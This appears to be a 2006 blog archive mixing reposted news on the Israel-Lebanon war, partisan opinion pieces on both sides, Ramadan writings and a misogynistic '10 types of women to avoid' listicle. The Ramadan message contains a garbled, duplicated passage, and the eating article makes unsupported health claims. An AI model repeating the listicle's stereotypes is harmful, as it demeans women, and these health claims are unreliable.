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Saturday, September 30, 2006

Israel used precision bomb to hit UN officers

UN: Israel used precision bomb to hit UN officers
By Evelyn Leopold
Fri Sep 29, 3:40 PM ET / reuters

Israel used a precision-guided bomb to launch a direct hit on four U.N. peacekeepers killed in southern Lebanon last July, the United Nations said on Friday of its probe into the incident.

But a report by a special U.N.-appointed board of inquiry could not affix blame because Israel did not allow the access to operational or tactical level commanders involved in the July 25 disaster at Khiam. Four military observers died, officers from Austria, Canada, China and Finland.

Therefore, the board was "unable to determine why the attacks on the U.N. position were not halted, despite repeated demarches (communications) to the Israeli authorities from U.N. personnel, both in the field and in U.N. headquarters," Secretary-General Kofi Annan said in a statement.

Annan said the U.N. bunker at Khiam "was struck by a 500- kilogram precision-guided aerial bomb."

Despite not drawing any conclusions, a senior U.N. official briefing reporters on condition of anonymity, said precision-guided munitions were "precision-guided and meant to hit the targets they hit, which was the United Nations."

"War is hell, peacekeeping is not supposed to be," the official said.

Israel has accepted full responsibility for the incident and apologized to the United Nations for the army's "tragic operational mistake." But Annan and other officials made clear they were not able to verify if and how the error occurred.

The report was released only to Austria, Canada, China and Finland because such investigations are not publicized to preserve the confidentiality of informants in future probes.

"In this particular case, since the Israeli government also conducted its own investigation which they released, we also felt it's necessary to speak about the conclusion of ours," U.N. spokesman Stephane Dujarric said.

Israel presented its findings on September 15 to the four countries that lost peacekeepers and then briefed reporters.


Foreign Ministry spokesman Mark Regev said maps of the area had been incorrect. "There was a mishap on the Israeli side where in duplication of maps, the U.N. position on the maps was not marked as it should have been and that created the tragedy," he said.

Israel launched an offensive into Lebanon after Hizbollah guerrillas captured two Israeli soldiers in a cross-border raid on July 12.

Regev said the investigation found that about 100 metres (yards) from the U.N. position there was a Hizbollah position where there was "hostile activity."

U.N. officials agreed Hizbollah guerrillas were at a base in the area as well as in a nearby prison. But they said there was no activity from the militia on July 25 and the U.N. bunker was clearly marked.

Jane Holl Lute, a deputy head of U.N. peacekeeping operations, told the U.N. Security Council on July 26 there were 21 strikes within 300 metres (yards) of the observer post during the six hours before it was completely destroyed.

Twelve of the 21 struck within 100 metres, including four that scored direct hits, Holl Lute said.

While there was speculation Israel may have been targeting Hizbollah positions near the Khiam post, Holl Lute said there was no Hizbollah firing coming from near the outpost.

An Irish army officer in south Lebanon warned Israeli forces six times that its strikes threatened the lives of the four observers, Ireland's Foreign Ministry said.

Israel abused Hamas officials

3 August 2006

Hamas officials who were detained by Israel in the occupied West Bank accuse their Israeli jailers of abusing them, the BBC reported.

Three top Hamas officials, who were freed this week after two months detention, said they were abused and maltreated at the hands of Israeli interrogators and complained of poor living conditions in detention.

Wasfi Kabha, Palestinian Minister for Prisoners' Affairs, told the Associated Press news agency that he had been released because there was no evidence to back Israeli claims that he belonged to a terrorist organization.

"I spent 11 days under heavy interrogation," he said by telephone from the West Bank town of Jenin.

"They would take me at 0500 in the morning, hands and legs cuffed, and place me in a chair without a back until 1700.

"The only rest I got was during the sirens when Hezbollah launched rockets at Israel. They would take me down into a cell underground and they would leave to take shelter somewhere in the jail."

Mr Kabha added that his cell was a small place with four dirty mattresses on the ground and with two very dirty and old blankets".

Hasan Khurayshah, a deputy speaker in the Palestinian parliament, and Palestinian Finance Minister Omar Abdal Razeq also said that they were abused in Israeli jails.

"Everybody was treated in the same bad way," Khurayshah said.

"They bound our legs and hands to a chair and put blindfolds so we could not see anything. There was very little water and food and they were unfit for human consumption. The jailers were cursing and insulting us."

Israel arrested more than 64 Hamas cabinet ministers, lawmakers and activists in the West Bank and East Jerusalem to pressure the Hamas-led Palestinian government, whose armed wing is part of three other resistance groups who captured an Israeli soldier on June 25.

Israel has launched a deadly offensive in the Gaza Strip in the wake of the soldiers' capture.

The brutal military campaign has so far killed more than 126 Palestinians, mostly civilians.

More killed as Israel pounds Beirut, Gaza

3 August 2006

Israel resumed its deadly air strikes on the Lebanese capital, Beirut, as Israeli occupation forces moved back into southern Gaza, the Herald Sun reported.

The Israeli army said more than 70 air strikes were carried in Lebanon overnight.

Witnesses said at least four huge blasts rocked the southern Beirut suburb of Dahieh, a Hezbollah stronghold that has been frequently shelled by Israel since the fighting began three weeks ago.

There were also air raids on a bridge in the northern region of Akkar, roads near Lebanon’s border with Syria, and in the Bekaa Valley.

In southern Lebanon, Israeli ground troops and Hezbollah fighters are still battling for control of at least five villages along the border, where Israel has launched ground incursions with more than 10,000 soldiers.

Meanwhile, Israeli officials say more than 70 Hezbollah rocket attacks hit northern Israel. The resistance group has fired at least 300 missiles into Israel on Wednesday, some of which landed up to 70 km inside the Jewish state; the deepest so far.

At least 900 Lebanese people, mostly civilians, have been killed and more than 3,000 wounded since Israel launched its deadly offensive in Lebanon, Lebanese Prime Minister Fouad Siniora said in a video message to Muslim leaders meeting in Malaysia.

About 55 Israelis, most of them soldiers, have been killed.

In a separate development, UN diplomats say the UK, France, and the U.S. are working on a UN resolution calling for an immediate end to the fighting. The three countries want to present the resolution to the other 12 members of the UN Security Council later on Thursday.

Israeli Prime Minister Ehud Olmert has said there will be no ceasefire until an international force is deployed in southern Lebanon. He also said that Israel would have the right to respond to Hezbollah attacks even after the deployment of the international force.

Meanwhile, the Israeli armys probe into the Qana massacre concluded that the deadly attack was a mistake.

The report claimed the building where more than 60 civilians were sheltering was thought to be a hiding place for Hezbollah fighters.

The New York-based group Human Rights Watch has accused Israel of committing war crimes after the Qana attack, which killed more than 54 civilians, many of them children.

Residents flee Lebanese cities

A quarter of Lebanons population one million had been displaced as a result of the Israeli bombardment, according to Prime Minister Fuoad Siniora.

In the virtually empty port city of Tyre, street cats and dogs have taken over the streets. Shops are closed and construction sites are quiet. The smell of the rubbish heaps fills the city. The silence is broken only by the cries of the cats, according to an article on AFP.

Just last week, Tyre was home to about 100,000 people, both residents and refugees from other war-torn areas. Now, some 10,000 people remain in the city, which is completely cut off from the outside world.

Israel bombed the highway. Some roads are open towards the south and east, but the route is too risky due to Israels bombardment.

The residents who remained have no where to go.

"We're waiting for them (the Israelis)," said Hajje, a 70-year-old woman who owns a grocery shop in Tyre. "They want to do to Lebanon what they've done in Iraq. But we won't let them. We're ready

"They have always failed, and they will fail again," says Hajje, who hangs a huge portrait of Hezbollah chief Hassan Nasrallah on the shop wall.

Another resident agrees, showing that Hezbollahs resistance against Israel has boosted the groups image among ordinary Lebanese.

"The Israelis tried four times, and they were pushed back four times," says Ali, referring to the fighting which preceded Israel's withdrawal from south Lebanon in May 2000.

"The warriors are the strongest of all, and thanks to them Lebanon will survive," he added.

UN warns of environmental crisis

The UN Environment Program (UNEP) warned of an environmental crisis and called for immediate action after thousands of tons of heavy fuel from the bombed Jiyyeh power plant, 30 km south of Beirut, spread to the Syrian coastline, AFP reported.

The UNEP warned that the longer a spill of 110,000 barrels of oil isnt cleaned up from Lebanons coast, the more severe the environmental impact will be. It also said that the oil slick have arrived on Syrias coast after affecting more than 80 km of the Lebanese coastline.

"Now it has become even more vital to take immediate action. In addition to the humanitarian circumstances, an environmental catastrophe is threatening the Mediterranean region," said Paul Mifsud, UNEP's coordinator for the Mediterranean Action Plan.

"Hostilities must cease to guarantee immediate safe access to the affected area," he stressed.

Lebanese Environment Minister Yacub Sarraf told AFP between 10,000 and 15,000 tons of heavy fuel oil have spilled out into the sea, adding that cleaning up Lebanons beaches would cost between 45 and 50 million dollars and would not be finished until next summer.

Gaza air strikes kill 7

In Gaza, Israeli troops, backed by tanks and bulldozers, pushed further into the south, closing off the eastern entrance to Rafah, a town on the Gaza-Egypt border, and taking positions at the Gaza air port, security officials said, according to the BBC.

Correspondents say the incursion is the deepest into Gaza since the start of Israels month-long offensive.

As Israeli troops took up positions, Israeli jets carried out air strikes, killing more than seven people, including a child, and injuring more than 26 others, residents said.

Two more people were wounded when a tank shell hit their house, medics said.

The Israeli army claimed that the raids targeted Palestinian resistance fighters who were about to launch anti-tank rockets at Israeli forces.

Israeli launched a deadly offensive in Gaza last month to pressure the Hamas-led government, whose armed wing is part of three other resistance groups who captured an Israeli soldier.

More than 140 Palestinians, mostly civilians, have been killed since the assault began. The United Nations says the dead include 35 children.

On Wednesday, UN officials renewed warnings of a humanitarian crisis in Gaza, which is suffering food, water and electricity shortages as well as repeated Israeli incursions, air strikes and shelling.

Arab states must repudiate ties with Israel now

2 August 2006

Ali Abunimah, The Electronic Intifada, 31 July 2006

Palestinians demonstrate in the West Bank town of Ramallah against the Israeli offensive in Lebanon, 30 July 2006. An Israeli air strike on Qana killed more than 54 people, 37 of them children, in south Lebanon. (MaanImages/Mushir Abdelrahman)

The scenes of carnage from Qana, where ten years after an almost identical massacre, rescue workers are pulling the broken bodies of children from the rubble, break the heart and generate a deep and boiling anger. But it is not enough to point the finger at Israel's war criminal government which carried out the atrocity, nor the United States administration, which encourages Israel, funds and arms it. We must also demand that all those with the power to act do so immediately.

Over the past two decades, "moderate" (pro-American) Arab governments including Egypt, Jordan, the Palestinian Authority, Morocco, Tunisia, Qatar and Oman have established ties with Israel, their public rationale being that integrating Israel into the region and normalizing it will encourage moderation on Israel's part. Egypt, Jordan and the Palestinian Authority have formal agreements with Israel; the other states various official and unofficial ties. At the 2002 Arab League summit in Beirut, Arab governments unanimously reached out to Israel offering full peace in exchange for a full Israeli withdrawal only from the territories Israel occupied in 1967, allowing it to maintain its hold on all the land Zionist militias seized from the Palestinians whom they ethnically cleansed in 1947-48. Israel is giving its answer to the Beirut offer by destroying Beirut and all of Lebanon.

Israel has rejected all Arab peace initiatives, no matter how far-reaching and generous, in favor of continued colonial expansion and occupation. It has taken these peace moves as signs of Arab weakness and as a license for further aggression. The Israeli public (except for Palestinian citizens of Israel) almost unanimously supports Israel's massacres in Lebanon and Palestine, and until Israelis start to feel there is a price in terms of international isolation, we cannot expect that to change. And as long as Israeli colonialism remains unchallenged by supine governments, millions of people will see 'non-state actors' like Hizbullah and Hamas as their best option to protect their most fundamental interests, and the power and popularity of such groups will grow as governments consign themselves to irrelevance. Israel and its allies need to ask themselves why demonstrators are shouting the name of Hizbullah leader Hasan Nasrallah from Cairo to Ramallah to Doha, and stop deluding themselves that millions of people are merely puppets of some Syrian-Iranian conspiracy.

Arab states must publicly break their ties with Israel, not merely as an expression of the overwhelming outrage and grief of their own citizens, but as a strategic message to Israel that it will face total and permanent isolation if it does not change course. Arab governments should also support the growing global civil society campaign for boycott, divestment and sanctions against Israel.

Days after Israel began its premeditated rampage in Lebanon, using the July 12 Hizbullah operation against Israeli military forces on the border as a pretext, Egypt, Jordan and Saudi Arabia condemned the Israeli actions. But what attracted attention was their apparent laying of the blame at Hizbullah's doorstep. Egypt and Jordan issued a joint statement on July 14 warning against "the region being dragged into 'adventurism' that does not serve Arab interests." Just the day before, a Saudi official had used the same word when he told the SPA news agency that, "It is necessary to make a distinction between legitimate resistance (to occupation) and irresponsible adventurism adopted by certain elements within the state."

The common interpretation both in the Arab and western media was that these three US-allied governments had implicitly joined up with the American-Israeli axis to take on "radical" and popular forces in the region, specifically Hizbullah and Hamas, that resist Israeli colonialism. The Washington Post, citing "senior Israeli and U.S. officials" reported on July 16 that, "Israel, with U.S. support, intends to resist calls for a cease-fire and continue a longer-term strategy of punishing Hezbollah, which is likely to include several weeks of precision bombing in Lebanon." The same report stated that, "Whatever the outrage on the Arab streets, Washington believes it has strong behind-the-scenes support among key Arab leaders also nervous about the populist militants -- with a tacit agreement that the timing is right to strike." ("Strikes Are Called Part of Broad Strategy; U.S., Israel Aim to Weaken Hezbollah, Region's Militants," The Washington Post, 16 July 2006).

Yet as Israel failed to achieve the quick victory that its generals promised, and as Hizbullah fought stubbornly and skillfully, gaining support and respect from every corner of the region, calculations started to change rapidly. The New York Times reported that Saudi Arabia and Jordan which "were initially more worried about the rising power of Shiite Iran, Hezbollahs main sponsor, are scrambling to distance themselves from Washington." ("Tide of Arab Opinion Turns to Support for Hezbollah," The New York Times, 28 July 2006)

Saudi Arabia hurriedly announced a $1.5 billion aid package to help rebuild Lebanon and Jordan made a public show of sending humanitarian aid. But the damage was already done. "Tent after green tent stands just off one of Beirut's fashionable shopping areas, part of a field hospital sent by Jordan to treat Lebanese wounded," Reuters reported on July 28. "Jordanian soldiers sit idly in the shade nearby and a peek into one tent reveals the beds are empty. Lebanese casualties are rejecting aid from Jordan in protest at what they view as its failure to press for an end to Israeli air strikes in the 17-day-old war against Hizbollah." A Lebanese worker near the field hospital stated, "They've been here three days and we have seen no casualties treated here... They cannot give the green light for this strike against us and then show up to treat us. We don't want their sweetness or their bitterness." ("Lebanese wounded turn cold shoulder on Jordan aid," Reuters, 28 July 2006)

Hours after the Qana massacre, Jordan's King Abdullah II released a statement which "strongly condemned the ugly crime of the Israeli forces in Qana" The statement reiterated Jordan's calls for "an immediate ceasefire."

Such statements are welcome and necessary but unlikely to be sufficient. Israel, as it has shown time and again, is not swayed by words. On the contrary, it deliberately twists and misinterprets them whether from friend or foe. Following the failure of last week's Rome summit Israel claimed it had a "green light" from all the participating states to continue bombing Lebanon. (Although Israel certainly does have a green light from the United States, which is rushing more bombs to kill Lebanese civilians to Israel, this public boasting by Israel was embarassing enough to the U.S. that State Department spokesman Adam Ereli termed it "outrageous.")

Arab states must end their long forbearance which sends the message to Israel that the lives of their citizens are cheap. Action is required no less for the best interests and domestic and international standing of these governments as for the region as a whole. In Jordan's case it would only be exercising rights and responsibilities that are contained within its 1994 peace treaty with Israel and thus could not even be interpreted as violating the treaty's spirit or letter. The peace treaty was supposed to be one element in a wider regional peace that has failed to materialize due to Israel's aggressive construction of new colonies on occupied Palestinian land and refusal to withdraw from occupied Lebanese and Syrian territory. The preamble to the treaty states that Israel and Jordan aim at "a just, lasting and comprehensive peace in the Middle East based on Security Council resolutions 242 and 338 in all their aspects." In Article 2 of the treaty, both states commit themselves to "respect and recognize the sovereignty, territorial integrity and political independence of every state in the region."

Israel's continued and deepening occupation of Palestinian, Syrian and Lebanese territory, violations of their sovereignty, blatant interference in the internal affairs of Palestinians and Lebanese, and its mounting atrocities which have claimed Jordanian and Egpytian as well as thousands of Lebanese and Palestinian lives are not only crimes against humanity but violations of Israel's treaty commitments. Jordan and Egypt have a right and obligation to respond.

Arab governments have a slim chance to play a genuine leadership role and prove that their earlier positions were simply being misinterpreted and exploited. Breaking off relations may seem like a small step in the current circumstances, but it is the minimum they must do and it will set an example for other international actors such as the EU and the UN who have also failed in their international responsibilities, siding with the aggressor against the victim and thereby enabling Israel's unspeakable crimes.

After Qana, Jordan's foreign minister Abul-Ilah al-Khatib urged the international community "take a firm stand against the aggression." Amman and Cairo should lead the way with more than words.

A Message from Imam Zaid Shakir


In The Name of Allah, The Most Merciful, The Mercy Giving

Ramadan Mubarak!

A Brief Message From Imam Zaid Shakir

The Month of Ramadan is upon us. During this special time, we should all reflect on the many blessings God has bestowed upon us. Those of us who live here in the West have been blessed with many material bounties that are unimaginable to many of our coreligionists in the East. The amount of food we enjoy and unfortunately the amount that many of us waste, the expansiveness of most of our homes, our ready ability to own cars, trucks, and vans, our all of these blessings and many others are incomprehensible to many Muslims in faraway lands struggling to live from day to day.

Perhaps the greatest blessing we enjoy is the blessing of security. This is a great blessing that many people take for granted. The ability to be safe in ones home, to walk the streets without fear of assault, to travel freely down the highways and byways without fear of brigandage or harm to our person or loved ones, the ability to rest comfortably at night without fearing a sudden deadly intrusion, or a violent explosion as a projectile tears through the roof or walls of our dwelling visiting us with hell on earth. This is a great, expansive blessing.

God mentions that security is one of the great blessings He bestowed upon the Quraysh, the people of our Prophet Muhammad, peace and blessings of God upon him. He mentions in the Qur’an: Therefore, let them worship the Lord of this [Sacred] House; he who has fed them, warding off from them hunger; the one who has made them secure from fear.(106:3-4)

This latter blessing, the great blessing of security, the blessing that allows us to enjoy all other blessings, should never be taken for granted, for it can be taken away at any moment, and we could be cast into the throes of terrible tribulation with sudden swiftness. One of the ways to perpetuate the blessing of security and the many other blessings we enjoy is to express our deep thanks for them. That expression of thanks lies in our being good productive citizens, it lies in our faithful devotion to our Lord, and it lies in our demonstrating to people the good of our religion through our actions before we endeavor to do so with our words. It lies in our endeavoring to share our blessings with those who are less fortunate than us.

The details relating to how we do these things are known to all of us and are as numerous as each and every one of our individual lives. Those details are revealed to us by God when we endeavor to be sincere in our service, true in our devotion, honest in our conviction to assist our fellow human beings. Ramadan is an excellent time to start for those of us who have been limping down the road of life oblivious to the blessings we enjoy; lacking any consciousness of the obligations those blessings impose on us.

Ramadan focuses our appreciation of the food and other material blessing we enjoy by allowing us to experience at a personal level the reality of deprivation. Ramadan focuses our devotion to God by facilitating heightened levels of devotional acts by couching them in a communal manifestation. Ramadan focuses our sincerity to God, for it is centered around fasting, the one act of worship it is impossible to “show off” with before other human beings, for at the end of the day, God alone knows if we are truly fasting. Ramadan, if we allow it to do so, focuses our spiritual energies by reintroducing the great blessing of the Qur’an into our lives. Finally, Ramadan focuses our attention on the centrality of charity in our lives, by encouraging us to greater levels and acts of charity during this time, a time when our beloved Prophet, peace and blessings of God upon him, the most generous of all people ordinarily, was excessively generous.

Let us translate that heightened focus on God, and our appreciation for His blessings into heightened levels of servitude to Him and to our fellow human beings. If we can do that as an entire community, with ample conviction, God will continue to shower His blessings down upon us and He will bless us to be secure in our lives and property, just as He has blessed us to be secure from material want. Such blessings are commensurate with “the best community

The details relating to how we do these things are known to all of us and are as numerous as each and every one of our individual lives. Those details are revealed to us by God when we endeavor to be sincere in our service, true in our devotion, honest in our conviction to assist our fellow human beings. Ramadan is an excellent time to start for those of us who have been limping down the road of life oblivious to the blessings we enjoy; lacking any consciousness of the obligations those blessings impose on us. around fasting, the one act of worship it is impossible to “show manifestation of those blessings to be real, our service to God and to our fellow humans has to be real. So let us proceed through this blessed month with consciousness, willing devotion, and sincerity. By doing so we will express our appreciation to our Lord, and work to perpetuate the many blessings He has bestowed upon us.

Ramadan Mubarak!
Your Brother in Islam,
Imam Zaid Shakir

Ramadan and Healthy Eating

By Hwaa Irfan
Islamonline Staff Writer

The typical Ramadan table is known to be over-extravagant.
We have experienced much this year both personally and globally.

Someone kicks, but we are unable to see who it is. We can only see the consequences of that kick, and in a dazed state we tend to lose the language to properly express what is actually happening. Emotions build up and affect our judgement and care for our own selves, and we either tend to try to forget or we become stronger in acknowledgement of the value of what we are already blessed with.

Ramadan offers us an opportunity to care for ourselves and our life's transaction with God. "Certainly the creation of the heavens and the earth is greater than the creation of the men, but mostly people do not know" (40:57).

Choose What You Eat

We tend to get into bad eating habits throughout the year, as the momentum of the day becomes a week, a month and finally the year has ended. Some may even shop for convenience foods because it offers less time in the kitchen. So whilst we are improving our economic situation and busy doing everything else, our health deteriorates but not always visibly. What we go through emotionally and psychologically also manifests in our deeds and in the way we eat and what we eat.

Referring to genetically modified foods, Muzammal Hussain argues that it is clear that genetic engineering is a process that we do not understand in a world where everything is interconnected (Hussain p.5). What affects one species affects another for better or for worse.

"The sun and the moon follow a reckoning. And the herbs and the trees do adore (Him). And the heaven, He raised it high, and He made the balance, that you may not be inordinate in respect of the measure. And keep up the balance with equity and do not make the measure deficient" (Rahman 55:5-9).

Fasting and Spiritual Equilibrium

Dr. Omar Hassan Kasule tells us that, "the definition of disease considers several dimensions that may operate singly or in combination: moral/spiritual, biological/pathological, psycho-social, or normative/statistical. Loss of spiritual equilibrium is a disease in itself and soon leads to physical disease. Most diseases involve disturbances in the equilibrium of the normal body physiology. These biological disturbances may be within the range of normal physiological variation or may be clearly pathological. The psycho-social dimension of disease is associated with loss of equilibrium and may precede or follow physical disturbances (Kasule p.3)." Fasting is done with one's complete will, encouraging the entire physiological, psychological and spiritual systems to work together.

As we try to get rid of the emotional build-up gained throughout the year, our bodies will also want to get rid of the toxic waste that it has been unable to eliminate. Fasting allows the digestive tract to take a rest, and mobilizes the detoxification mechanism by facilitating the release of hormones that stimulate the immune system. Fasting also releases the insecticides and man-made chemicals that have become stored in our body fat.

So instead of looking to those finely packaged goods in the supermarket, try frequenting the grocers that sell food more readily ascertained to be as nature intended it to be.

The Incorrect Approach

Food intake should not be excessive rendering the onslaught of sleep soon after consumption therefore preventing us from our duties to ourselves, each other and God.

Incorrect eating can cause:

a.. Indigestion - caused by excessive eating, fried, fatty and spicy foods as well as carbonated drinks.

b.. Constipation - caused by eating too many processed foods and not enough fiber or water consumption. Fiber rich foods include most cereal grains, fruits and vegetables.

c.. Lethargy - due to low blood pressure which can be caused by a sudden excessive consumption of heavy starchy and fatty foods.

d.. Headache - caused by lack of sleep and being overly physically active.

e.. Muscle cramps - due to an inadequate intake of calcium, magnesium and potassium. Foods rich in calcium include broccoli, kidney beans, okra, parsnips, almonds, raisins, sesame seeds and dairy products. Magnesium rich foods include: bran, brown rice, cornmeal, cheese, egg yolk, bananas, apples, dates, almonds, carrots, eggplant (aubergines) and cauliflower. Potassium rich foods include: cheese, apples, cantaloupe, apricots, pineapple, chicken, peanuts (groundnuts), cod, beet, cabbage, cucumber and green peppers (Haffejee p.1).

f.. Lack of sleep - Adequate sleep is necessary to ensure balance the next day especially for those who go to work or a place of study. Lack of sleep can express itself in the form of nervousness, bad headaches and digestive problems. Sleeping after a meal also causes problems with digestion. The final meal should be taken at least 1 - 1½ hours before the night-time sleep.

Break Your Fast the Healthy Way

Dates are an important part of the Ramadan break-fast.

All the good from fasting can be undone by the sudden intake of food. Not only this, but the body's natural healing mechanisms are deprived of the benefits that fasting delivers. It is noted that healthy Ramadan practices result in the reduction of cholesterol levels and skin conditions are much improved (al- Qalam p.9). At the same time Iftar (the first meal taken to break the fast) is the Ramadan breakfast and as we have always been told, breakfast is the most important meal of the day.

Our body is mostly water and the best source of fluid replacement is pure unadulterated water. The sunnah (prophetic tradition) of dates and water make a wonderful combination to gently break the fast without placing the body into a state of shock i.e. a sudden drop in blood pressure. Dried dates contain sodium, calcium, magnesium, phosphorus, iron, copper, sulfur, manganese, silicon and chlorine. Potassium, vital to the prevention of dehydration, is also plentiful in dates. Fresh dates in addition contain thiamin, niacin, riboflavin, ascorbic acid and beta carotene.

In some schools of fiqh it is preferable to do the Maghrib prayer (prayer done at sunset) before commencing the main meal. "O children of Adam! Attend to your embellishments at every time of prayer, and eat and drink and be not extravagant; surely He does not love the extravagant" ( Araf 7: 31). This also proves to be functional in terms of giving your body time to digest what it needs from the sunnah of dates and water before eating some more.

The key word here is fiber, as fiber is slow digesting as opposed to fast burning foods like processed and sugar-based foods. In Yemen a typical iftar (main meal following the fast) includes a soup of boiled oats, milk and sugar followed by shafoot (pancakes broken in yoghurt with some spices and herbs) and samboosa (minced meat and herbs in a pastry envelope). A balanced combination of fiber, protein, dairy, cereal, minerals (herbs) and carbohydrates (Shabeebi p. 1).

After the Break-Fast

The time between meals should be spaced out allowing for proper digestion. Ibn Sina (otherwise known as Avicenna to the Western world) warned never to take one meal until the previous meal was digested. Whatever was lacking nutritionally in the previous meal should be compensated for in the next meal. Many recipes exist online that can conjure up ideas.

Be careful with relaxation, for what one does can upset the balance of what has been achieved. A bad habit that has developed in the Middle East is a craving for shisha smoking (water pipe). In Bahrain, 17 - 21% of Bahraini women indulge in this habit. Some people assume that it is healthier than smoking cigarettes, but in reality it can cause throat and lip cancer as well as cause the build-up of poisonous gases within the stomach. This can lead to heart disease and brain stroke (Bahrain p.1).

Suhoor (the final meal before dawn) is a mercy for those who need that extra meal. It usually consists of a milk-based food which is slow-digesting. Most importantly is fluid intake throughout Ramadan that will ensure proper functioning of the kidneys and adequate digestion. For those with diabetes, a kidney disease or those who suffer from low blood pressure, it is recommended to consult a physician about fasting before the Holy month begins.


a.. Al-Qalam. "Healthy Eating for Ramadhan". 26: 11(2000). Pages 9/12. 10/23/02

b.. Bahrain. TV. "a Few Words of Caution about Healthy Living Patterns During Ramadhan". 2. 11/26/01. 10/23/02.

c.. Haffejee, Farouk. "Some Health Guidelines for Ramadhan". 5. 04/08/02.

d.. Hussain, Muzzamil. "GM Foods, the Environment and Islam". 1-6. Home.Clara.net. 07/26/01.

e.. Kasule, Omar Hassan. "Disease (al Maraadh)". 4. 08/16/02

f.. Mohammed, Amina. "Family Diet in Islam: The Importance of Food and Correct Nutritional Habits". 6. 08/12/01.

g.. Shabeebi, Khairia. "A Ramadhan Day in the Life of a Yemeni Woman". Jan '98. 2:8. Culture. 06/12/01.

Thursday, September 28, 2006

10 Types of Women You Need to Avoid

10. The woman who is obsessed with getting married:

You know the type. Desperate to be married...jerks are ok so long as they are marriage material.

She's the woman who had her whole life laid out like clockwork and with a timeline to give her the perfect life, only to find she hasn't met the perfect man and her biological clock is counting down in seconds.

You know she's going to suddenly discover as soon as she's married and gotten the two kids that you are a stinker...but now, you're going to have to deal with her the rest of your life.

9. The woman who is always looking for a fight:

You will be able to tell if your woman is this type if everything with her is a battle.

Anything that is said by anyone will be quickly taken out of context to become some sort of insult or some reason to wage war against the world.

She will make you an angry and bitter person too as there will be nothing but misery with her. Avoid her like you would a shrieking alarm.

She's so scary that any man in his right mind would run away....so run.

8. The woman who needs to be handled with kid gloves:

Everything in life hurts this type of woman. You feel like she should be wrapped up in bubble wrap so she doesn't break.

The tiniest criticism, the most innocent of comments will have her dripping in tears and big sad dog eyes.

Before you know it, you will be spending your whole life apologizing, saying sorry for all the things you did, didn't do and for the mere fact that you came into her life.

It's easier if you just get out of her life, as if she doesn't commit suicide because you leave her, she will sure threaten suicide because of something your did when you stayed. Avoid her like you would moldy bread.

7. The woman who really needs to cover up:

I understand there are many women out there that still feel as young on the inside as they did when they were teenagers, but there does come a time when they need to stop dressing like they have the body of a lovely young lady.

To me, almost nothing is as gross as looking at the jiggling flesh of aging skin put out for display by a woman as if they are at the prime of youth (other than the behavior of leering men too old for them I am told by my wife - guess which doll is inspired by her).

If you are involved with a woman who shows a bit too much, she has issues that are not going to get smaller with the decay of time so issue her a kiss off letter and vamoose.

6. The woman who is a constant drag:

God, there a million of these types of women aren't there?

You know the type? Everything around them is a total drag. There is always something that could go wrong and she can never be happy, no matter what you do.

You could have won the lottery but with her worrying and kvetching, it will soon feel like it was the worst thing that ever happened to you.

This type of woman will slowly seep the will to live out of you, so stay away. Avoid her like you would an old used shoe.

5. The woman who can't shut up:

I get attracted to women who can carry a conversation and has a good sense of humor. But there is a fine line between being a good talker and talking too good.

Avoid the wise-cracking woman who always has to make a comment about everything. If you don't watch out, you'll wake up one morning to find yourself next to your nightmare version of Rosie O'Donnell.

4. The woman who takes and takes and takes:

I've known only a few women like this because I don't have the money to attract more of them.

These are the women that are lovely on the outside, but really inside are a bunch of money hungry takers who are just with you for your wallet.

Your woman usually looks likes this when you first meet her and then you slowly realize it's all a cunning shell designed to lure you to her like a sirens' call.

Watch yourself as the types of ladies will just suck you and your wallet dry and leave you emasculated. Avoid them like you would avoid a mosquito nest.

3. The woman who has nothing to say:

There are woman who talk constantly and say nothing.

This type of women can go on and on about what her friend told her other friend about the shoes she bought on sale, but were really not on sale as her other friend found them cheaper at another store and on and on.

These are the women you just what to yell "Shut the F#### Up" on a daily basis but don't say anything to as they will then spend the next hour grilling you as to why you aren't happy today. ARRRRRRGH!!!

2. The woman who is one big freak show:

This is the woman who will quickly drive you to your untimely death by having a stroke induced by frustration.

She can't make a decision about anything and doesn't know whether she is going forwards or backwards. Too wracked by anxiety about making the wrong decision, she drives you up the wall as you sit there patiently as she for the millionth time tries to figure out what to do, where to go, what to eat and what to wear.

1. The woman who is all out evil:

These women are rare but the most scary and destructive to be involved with.

They usually come in very normal packages, but as the layers of normality peel off with familiarity, you one day discern that your woman is just plain evil.

Get away if it's not too late....but make sure she can't track you down, because she's the type of person to find you and send you to prison on some false charges to become Bubba's pet dog.

Postmodern Moral Reasoning about Israel

Twenty to thirty years ago, the liberal consensus was that Israel held at least some, if not all or most, of the moral high ground in the Middle East conflict. Today on college campuses and elsewhere, many liberals castigate Israel and side largely with the Palestinians. What has changed?

Perhaps Israeli tactics—appropriating settlement territory (albeit land won in a defensive war, be it remembered), bulldozing houses, killing civilians in strikes on Hamas leaders—have fostered increased negative judgment against Israel among well-meaning liberals sensitive to injustice.

But there is a tendency among those making such judgments to dismiss sound moral reasoning in two respects:
the incitements and terrorism of unrelenting and genocidal Palestinian attacks on Israeli civilians are ignored or shallowly rationalized as self-defense of an occupied people, and
the basic nature of the two parties is omitted from moral calculation. Israel is fundamentally a Western state with deep-rooted liberal and democratic institutions and culture, a society which has proven itself capable of self-correction, of the restraining and arresting of its militants and of acceptance of a Palestinian nation’s right to exist. In contrast, the Arab world is composed mainly of autocratic, anti-liberal states, and the Palestinians in particular have a deeply corrupt civil and political culture and a high tolerance for the virulently intolerant, anti-Semitic Hamas and others who are openly disdainful of a two-state solution, indeed proud of their devotion to the killing of Jews and the utter destruction of Israel.
How can self-professed liberals be capable of such shabby moral judgments?

Over the last twenty to thirty years, moral reasoning among many liberals has descended into a peculiar postmodernism, whereby the moral features of parties involved in a conflict matter not at all or decisively less than where the parties stand in a binary hierarchy: the oppressor and the oppressed, the powerful and the “subaltern.” The motives, methods and acts of the parties are irrelevant. The way power is exercised does not matter: democrats and fascists are equally guilty of being in authority. The only thing that matters is who has the power and who does not. In essence, this way of reasoning, beyond good and evil, derives from Nietzsche, filtered through hungover Marxism, postcolonialism and Michel Foucault’s analysis of cultural power. According to this view, all moral pretense, all reason, is merely a mask for the will to power. But whereas Nietzsche celebrated and honored the will to power and its discharge as the only “good,” his lapsed descendents sneak a collectivist sense of justice into the equation, so that a weak group and its will to power is all good and a powerful one and its will to power is all bad.

It doesn’t matter that the weak group might be corrupt, anti-democratic and viciously terroristic in targeting civilians or shamefully complicit in tolerating such terrorism. As long as it is getting the short end of the stick, it deserves support, it is “good,” it has whatever moral stature such an amoral classification system can grant. It doesn’t matter that the strong group is viably democratic and self-correcting and open to compromise. If the stronger group holds an upper hand, has a position of advantage, it is bad and to be condemned.

